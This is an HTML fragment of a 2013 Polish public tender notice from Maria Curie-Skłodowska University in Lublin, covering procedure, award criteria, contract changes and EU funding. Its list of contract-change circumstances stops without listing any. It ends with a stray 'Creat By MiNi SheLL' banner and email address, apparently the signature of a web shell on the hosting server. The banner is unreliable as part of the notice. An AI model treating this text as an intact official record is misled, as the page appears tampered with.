<li style="margin-bottom: 12px;">lista podmiotów należących do tej samej grupy kapitałowej w rozumieniu ustawy z dnia 16 lutego 2007 r. o ochronie konkurencji i konsumentów albo informacji o tym, że nie należy do grupy kapitałowej;</li>

</ul><p><b>III.6) INNE DOKUMENTY</b></p>
<p class="bold">Inne dokumenty niewymienione w pkt III.4) albo w pkt III.5)</p>
<p>nie dotyczy</p>

<p class="kh_title">SEKCJA IV: PROCEDURA</p>
<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>

<p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>najniższa cena.</p>
<p><b>IV.3) ZMIANA UMOWY</b></p>
<p><b>przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy: </b></p>
<p><b>Dopuszczalne zmiany postanowień umowy oraz określenie warunków zmian</b></p>
<p>1)	Zamawiający zawrze umowę według wzoru zawartego w załączniku nr 7 z Wykonawcą, który złożył najkorzystniejszą ofertę, zgodnie z art. 94. ust. 1 ustawy, przed upływem terminu związania ofertą, z zastrzeżeniem art. 94 ust 2 ustawy oraz zgodnie z postanowieniami Działu IV ustawy.
2)	Zgodnie z art. 23 ust. 4 ustawy, Zamawiający, w przypadku wybrania oferty Wykonawców, o których mowa w art. 23 ust.1, może żądać przed zawarciem umowy w sprawie zamówienia publicznego, umowy regulującej współpracę tych Wykonawców.
3)	Zamawiający zgodnie z art. 144 ustawy Prawo zamówień publicznych przewiduje możliwość dokonania zmian postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy. Zmiana możliwa jest w przypadku wystąpienia co najmniej jednej z okoliczności wymienionych poniżej, z uwzględnieniem podanych warunków ich wprowadzenia:</p>
<p><b>IV.4) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.4.1)</b>&nbsp;<b>Adres strony internetowej, na której jest dostępna specyfikacja istotnych warunków zamówienia:</b> http://www.przetargi.umcs.lublin.pl<br>
<b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> Uniwersytet Marii Curie-Skłodowskiej w Lublinie 
Biuro Projektu ul. Sowińskiego 12 pokój 9, 20-040 Lublin.</p>
<p><b>IV.4.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 09.09.2013 godzina 11:00, miejsce: Uniwersytet Marii Curie-Skłodowskiej w Lublinie 
Biuro Projektu ul. Sowińskiego 12 pokój 9, 20-040 Lublin.</p>
<p><b>IV.4.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>




<p><b>IV.4.16) Informacje dodatkowe, w tym dotyczące finansowania projektu/programu ze środków Unii Europejskiej:</b> Postępowanie prowadzone
jest w ramach realizacji projektu: UMCS dla rynku pracy i gospodarki opartej na wiedzy, nr POKL.04.01.01-00-362/10
współfinansowanego przez Unię Europejską ze środków Europejskiego Funduszu Społecznego, Program Operacyjny Kapitał
Ludzki.</p>
<p><b>IV.4.17) Czy przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia: </b> nie</p>

Creat By MiNi SheLL
Email: jattceo@gmail.com